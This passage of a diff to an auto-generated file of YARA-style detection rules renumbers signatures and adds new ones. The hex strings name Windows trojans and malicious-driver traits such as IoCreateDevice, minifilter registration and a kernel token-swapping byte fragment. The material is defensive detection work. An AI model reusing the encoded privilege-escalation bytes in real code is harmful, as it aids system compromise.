32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 43 00 01 00 08 81 01 6f 75 74 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 } //25449 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25449+(#a_01_2 & 1)*25449) >=3 + +} +rule _InfrastructureShared_430{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 41 00 01 00 08 81 01 6f 75 74 62 79 74 65 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d } //16675 + $a_69_1 = {4c 69 6e 6b 00 00 78 63 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 43 00 01 00 08 81 01 6f 75 74 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 } //28514 + $a_00_2 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 09 81 01 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 } //30720 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28514+(#a_00_2 & 1)*30720) >=3 + +} +rule _InfrastructureShared_431{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 43 00 01 00 08 81 01 6f 75 74 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d } //16675 + $a_69_1 = {4c 69 6e 6b 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 09 81 01 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //28514 + $a_65_2 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 2e 45 58 00 01 00 3b 01 65 48 8b 80 88 01 00 00 48 8b 80 b8 00 00 00 48 89 c1 ba 04 00 00 00 48 8b 80 48 04 00 00 48 2d 48 04 00 00 48 39 90 40 04 00 00 75 ea 48 8b 90 b8 04 00 00 48 89 91 b8 04 00 00 00 00 78 6a 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28514+(#a_65_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_432{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 09 81 01 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 } //16675 + $a_6c_1 = {63 4c 69 6e 6b 00 00 78 65 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 2e 45 58 00 01 00 3b 01 65 48 8b 80 88 01 00 00 48 8b 80 b8 00 00 00 48 89 c1 ba 04 00 00 00 48 8b 80 48 04 00 00 48 2d 48 04 00 00 48 39 90 40 04 00 00 75 ea 48 8b 90 b8 04 00 00 48 89 91 b8 04 00 00 00 } //25197 + $a_00_2 = {00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c 74 2e 41 00 01 00 14 81 01 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 46 69 6c 65 01 00 11 81 01 46 6c 74 52 65 67 69 73 74 65 72 46 69 6c 74 65 72 01 00 11 81 01 46 6c 74 53 74 61 72 74 46 69 6c 74 65 72 69 6e 67 00 } //30720 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25197+(#a_00_2 & 1)*30720) >=3 + +} +rule _InfrastructureShared_433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -4801,43 +4890,7 @@ rule _InfrastructureShared_427{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_428{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 41 00 01 00 0a 81 01 5f 5f 6f 75 74 62 79 74 65 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 } //16675 - $a_6f_1 = {69 63 4c 69 6e 6b 00 00 78 65 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 43 00 01 00 0a 81 01 5f 5f 6f 75 74 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 } //28025 - $a_6d_2 = {6f 6c 69 63 4c 69 6e 6b 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 0b 81 01 5f 5f 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 00 78 6a 00 00 03 } //21349 - condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28025+(#a_6d_2 & 1)*21349) >=3 - -} -rule _InfrastructureShared_429{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 43 00 01 00 0a 81 01 5f 5f 6f 75 74 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 } //16675 - $a_6f_1 = {69 63 4c 69 6e 6b 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 0b 81 01 5f 5f 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 } //28025 - $a_79_2 = {62 6f 6c 69 63 4c 69 6e 6b 00 00 78 6a 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c 74 2e 41 00 01 00 14 81 01 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 46 69 6c 65 01 00 11 81 01 46 6c 74 } //25972 - condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28025+(#a_79_2 & 1)*25972) >=3 - -} -rule _InfrastructureShared_430{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 42 00 01 00 0b 81 01 5f 5f 6f 75 74 64 77 6f 72 64 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 } //16675 - $a_62_1 = {6c 69 63 4c 69 6e 6b 00 00 78 6a 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c 74 2e 41 00 01 00 14 81 01 5a 77 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 46 69 6c 65 01 00 11 81 01 46 6c 74 52 65 67 69 73 74 65 72 46 69 6c 74 65 72 01 00 11 81 01 46 6c 74 53 74 61 72 74 46 } //31059 - $a_65_2 = {69 6e 67 00 00 78 6d 00 00 09 00 09 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 42 72 63 34 2e 41 00 01 00 04 01 30 53 fa 0a 01 00 04 01 88 22 ba ce 01 00 04 01 e6 23 fc 63 01 00 04 01 96 fc 86 4b 01 00 04 01 74 bd 99 72 01 00 04 01 d2 94 94 26 01 00 04 01 75 5f d2 66 01 00 04 01 63 4f ed fb 01 00 04 01 c8 85 e9 f6 } //27753 - condition: - ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*31059+(#a_65_2 & 1)*27753) >=3 - -} -rule _InfrastructureShared_431{ +rule _InfrastructureShared_434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4848,7 +4901,7 @@ rule _InfrastructureShared_431{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*29804) >=3 } -rule _InfrastructureShared_432{ +rule _InfrastructureShared_435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -4865,7 +4918,7 @@ rule _InfrastructureShared_432{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-11681+(#a_01_2 & 1)*25449+(#a_65_3 & 1)*24942+(#a_01_4 & 1)*4608+(#a_5a_5 & 1)*-32494+(#a_69_6 & 1)*29285+(#a_50_7 & 1)*25968) >=9 } -rule _InfrastructureShared_433{ +rule _InfrastructureShared_436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4877,7 +4930,7 @@ rule _InfrastructureShared_433{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*18689+(#a_61_2 & 1)*29251) >=3 } -rule _InfrastructureShared_434{ +rule _InfrastructureShared_437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4890,7 +4943,7 @@ rule _InfrastructureShared_434{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17263+(#a_63_2 & 1)*29264+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_435{ +rule _InfrastructureShared_438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4903,7 +4956,7 @@ rule _InfrastructureShared_435{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17263+(#a_63_2 & 1)*29264+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_436{ +rule _InfrastructureShared_439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4916,7 +4969,7 @@ rule _InfrastructureShared_436{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17263+(#a_63_2 & 1)*29264+(#a_01_3 & 1)*5632) >=4 } -rule _InfrastructureShared_437{ +rule _InfrastructureShared_440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4929,7 +4982,7 @@ rule _InfrastructureShared_437{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17263+(#a_6c_2 & 1)*25449+(#a_71_3 & 1)*21094) >=4 } -rule _InfrastructureShared_438{ +rule _InfrastructureShared_441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4942,7 +4995,7 @@ rule _InfrastructureShared_438{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*385+(#a_00_2 & 1)*11846+(#a_6f_3 & 1)*28025) >=4 } -rule _InfrastructureShared_439{ +rule _InfrastructureShared_442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4954,7 +5007,7 @@ rule _InfrastructureShared_439{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30309+(#a_72_2 & 1)*29525) >=3 } -rule _InfrastructureShared_440{ +rule _InfrastructureShared_443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4966,7 +5019,7 @@ rule _InfrastructureShared_440{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30309+(#a_73_2 & 1)*25958) >=3 } -rule _InfrastructureShared_441{ +rule _InfrastructureShared_444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4978,7 +5031,7 @@ rule _InfrastructureShared_441{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25924+(#a_69_2 & 1)*22386) >=3 } -rule _InfrastructureShared_442{ +rule _InfrastructureShared_445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4990,7 +5043,7 @@ rule _InfrastructureShared_442{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25924+(#a_50_2 & 1)*-32494) >=3 } -rule _InfrastructureShared_443{ +rule _InfrastructureShared_446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -5003,7 +5056,7 @@ rule _InfrastructureShared_443{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29264+(#a_0a_2 & 1)*-5639+(#a_6f_3 & 1)*24942) >=4 } -rule _InfrastructureShared_444{ +rule _InfrastructureShared_447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5014,7 +5067,7 @@ rule _InfrastructureShared_444{ ((#a_46_0 & 1)*21283+(#a_2f_1 & 1)*19705) >=2 } -rule _InfrastructureShared_445{ +rule _InfrastructureShared_448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -5027,7 +5080,7 @@ rule _InfrastructureShared_445{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29811+(#a_6f_2 & 1)*29520+(#a_61_3 & 1)*29251) >=4 } -rule _InfrastructureShared_446{ +rule _InfrastructureShared_449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -5040,7 +5093,7 @@ rule _InfrastructureShared_446{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25970+(#a_4f_2 & 1)*23041+(#a_72_3 & 1)*14918) >=4 } -rule _InfrastructureShared_447{ +rule _InfrastructureShared_450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5054,7 +5107,7 @@ rule _InfrastructureShared_447{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*20572+(#a_c0_2 & 1)*17752+(#a_6c_3 & 1)*28496+(#a_69_4 & 1)*25449) >=5 } -rule _InfrastructureShared_448{ +rule _InfrastructureShared_451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -5066,7 +5119,7 @@ rule _InfrastructureShared_448{ ((#a_46_0 & 1)*21283+(#a_2f_1 & 1)*19705+(#a_61_2 & 1)*26740) >=2 } -rule _InfrastructureShared_449{ +rule _InfrastructureShared_452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -5080,7 +5133,7 @@ rule _InfrastructureShared_449{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*25965+(#a_41_2 & 1)*18689+(#a_41_4 & 1)*8448+(#a_4f_5 & 1)*23041) >=5 } -rule _InfrastructureShared_450{ +rule _InfrastructureShared_453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5094,7 +5147,7 @@ rule _InfrastructureShared_450{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27759+(#a_6d_2 & 1)*385+(#a_6e_3 & 1)*27247+(#a_43_4 & 1)*18689) >=5 } -rule _InfrastructureShared_451{ +rule _InfrastructureShared_454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5106,7 +5159,7 @@ rule _InfrastructureShared_451{ ((#a_46_0 & 1)*16675+(#a_54_2 & 1)*23041+(#a_65_3 & 1)*28530) >=5 } -rule _InfrastructureShared_452{ +rule _InfrastructureShared_455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5120,7 +5173,7 @@ rule _InfrastructureShared_452{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_77_2 & 1)*385+(#a_54_3 & 1)*30035+(#a_62_4 & 1)*31059) >=5 } -rule _InfrastructureShared_453{ +rule _InfrastructureShared_456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5134,7 +5187,7 @@ rule _InfrastructureShared_453{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_74_2 & 1)*385+(#a_61_3 & 1)*28530+(#a_65_4 & 1)*25972) >=5 } -rule _InfrastructureShared_454{ +rule _InfrastructureShared_457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5148,7 +5201,7 @@ rule _InfrastructureShared_454{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_77_2 & 1)*385+(#a_54_3 & 1)*30035+(#a_62_4 & 1)*31059) >=5 } -rule _InfrastructureShared_455{ +rule _InfrastructureShared_458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5162,7 +5215,7 @@ rule _InfrastructureShared_455{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_74_2 & 1)*385+(#a_61_3 & 1)*28530+(#a_6f_4 & 1)*385) >=5 } -rule _InfrastructureShared_456{ +rule _InfrastructureShared_459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5176,7 +5229,7 @@ rule _InfrastructureShared_456{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*17012+(#a_50_2 & 1)*-32486+(#a_75_3 & 1)*28527+(#a_6b_4 & 1)*26956) >=5 } -rule _InfrastructureShared_457{ +rule _InfrastructureShared_460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -5190,7 +5243,7 @@ rule _InfrastructureShared_457{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*17012+(#a_01_2 & 1)*3072+(#a_00_3 & 1)*0+(#a_53_4 & 1)*8448) >=5 } -rule _InfrastructureShared_458{ +rule _InfrastructureShared_461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -5205,7 +5258,7 @@ rule _InfrastructureShared_458{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*19812+(#a_3a_2 & 1)*24938+(#a_ff_3 & 1)*-28604+(#a_01_4 & 1)*-31928+(#a_65_5 & 1)*26998) >=6 } -rule _InfrastructureShared_459{ +rule _InfrastructureShared_462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -5218,7 +5271,7 @@ rule _InfrastructureShared_459{ ((#a_46_0 & 1)*21283+(#a_c0_1 & 1)*18888+(#a_6d_2 & 1)*385+(#a_65_3 & 1)*21363) >=3 } -rule _InfrastructureShared_460{ +rule _InfrastructureShared_463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -5232,7 +5285,7 @@ rule _InfrastructureShared_460{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*19812+(#a_3a_3 & 1)*19539+(#a_63_4 & 1)*26995+(#a_65_5 & 1)*26708) >=6 } -rule _InfrastructureShared_461{ +rule _InfrastructureShared_464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -5251,7 +5304,7 @@ rule _InfrastructureShared_461{ ((#a_46_0 & 1)*21283+(#a_66_1 & 1)*17006+(#a_72_2 & 1)*21620+(#a_41_3 & 1)*116+(#a_1f_4 & 1)*64+(#a_42_5 & 1)*16725+(#a_40_6 & 1)*8+(#a_21_7 & 1)*256+(#a_70_8 & 1)*28530+(#a_65_9 & 1)*28271) >=10 } -rule _InfrastructureShared_462{ +rule _InfrastructureShared_465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5261,7 +5314,7 @@ rule _InfrastructureShared_462{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_463{ +rule _InfrastructureShared_466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5271,7 +5324,7 @@ rule _InfrastructureShared_463{ ((#a_41_0 & 1)*20515) >=1 } -rule _InfrastructureShared_464{ +rule _InfrastructureShared_467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5281,7 +5334,7 @@ rule _InfrastructureShared_464{ ((#a_41_0 & 1)*20515) >=1 } -rule _InfrastructureShared_465{ +rule _InfrastructureShared_468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5292,7 +5345,7 @@ rule _InfrastructureShared_465{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*8448) >=2 } -rule _InfrastructureShared_466{ +rule _InfrastructureShared_469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5303,7 +5356,7 @@ rule _InfrastructureShared_466{ ((#a_41_0 & 1)*20515+(#a_3a_1 & 1)*21840) >=2 } -rule _InfrastructureShared_467{ +rule _InfrastructureShared_470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5314,7 +5367,7 @@ rule _InfrastructureShared_467{ ((#a_41_0 & 1)*20515+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_468{ +rule _InfrastructureShared_471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5324,7 +5377,7 @@ rule _InfrastructureShared_468{ ((#a_41_0 & 1)*20515) >=2 } -rule _InfrastructureShared_469{ +rule _InfrastructureShared_472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5335,7 +5388,7 @@ rule _InfrastructureShared_469{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*76) >=2 } -rule _InfrastructureShared_470{ +rule _InfrastructureShared_473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -5345,7 +5398,7 @@ rule _InfrastructureShared_470{ ((#a_41_0 & 1)*20515) >=2 } -rule _InfrastructureShared_471{ +rule _InfrastructureShared_474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 06 00 21 " @@ -5360,7 +5413,7 @@ rule _InfrastructureShared_471{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*14720+(#a_00_2 & 1)*400+(#a_38_3 & 1)*400+(#a_00_4 & 1)*-31473+(#a_6e_5 & 1)*12082) >=101 } -rule _InfrastructureShared_472{ +rule _InfrastructureShared_475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -5370,7 +5423,7 @@ rule _InfrastructureShared_472{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_473{ +rule _InfrastructureShared_476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5380,7 +5433,7 @@ rule _InfrastructureShared_473{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_474{ +rule _InfrastructureShared_477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -5390,7 +5443,7 @@ rule _InfrastructureShared_474{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_475{ +rule _InfrastructureShared_478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5400,7 +5453,7 @@ rule _InfrastructureShared_475{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_476{ +rule _InfrastructureShared_479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5410,7 +5463,7 @@ rule _InfrastructureShared_476{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_477{ +rule _InfrastructureShared_480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5420,7 +5473,7 @@ rule _InfrastructureShared_477{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_478{ +rule _InfrastructureShared_481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5430,7 +5483,7 @@ rule _InfrastructureShared_478{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_479{ +rule _InfrastructureShared_482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5440,7 +5493,7 @@ rule _InfrastructureShared_479{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_480{ +rule _InfrastructureShared_483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5450,7 +5503,7 @@ rule _InfrastructureShared_480{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_481{ +rule _InfrastructureShared_484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5460,7 +5513,7 @@ rule _InfrastructureShared_481{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_482{ +rule _InfrastructureShared_485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5470,7 +5523,7 @@ rule _InfrastructureShared_482{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_483{ +rule _InfrastructureShared_486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5480,7 +5533,7 @@ rule _InfrastructureShared_483{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_484{ +rule _InfrastructureShared_487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5490,7 +5543,7 @@ rule _InfrastructureShared_484{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_485{ +rule _InfrastructureShared_488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5500,7 +5553,7 @@ rule _InfrastructureShared_485{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_486{ +rule _InfrastructureShared_489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5510,7 +5563,7 @@ 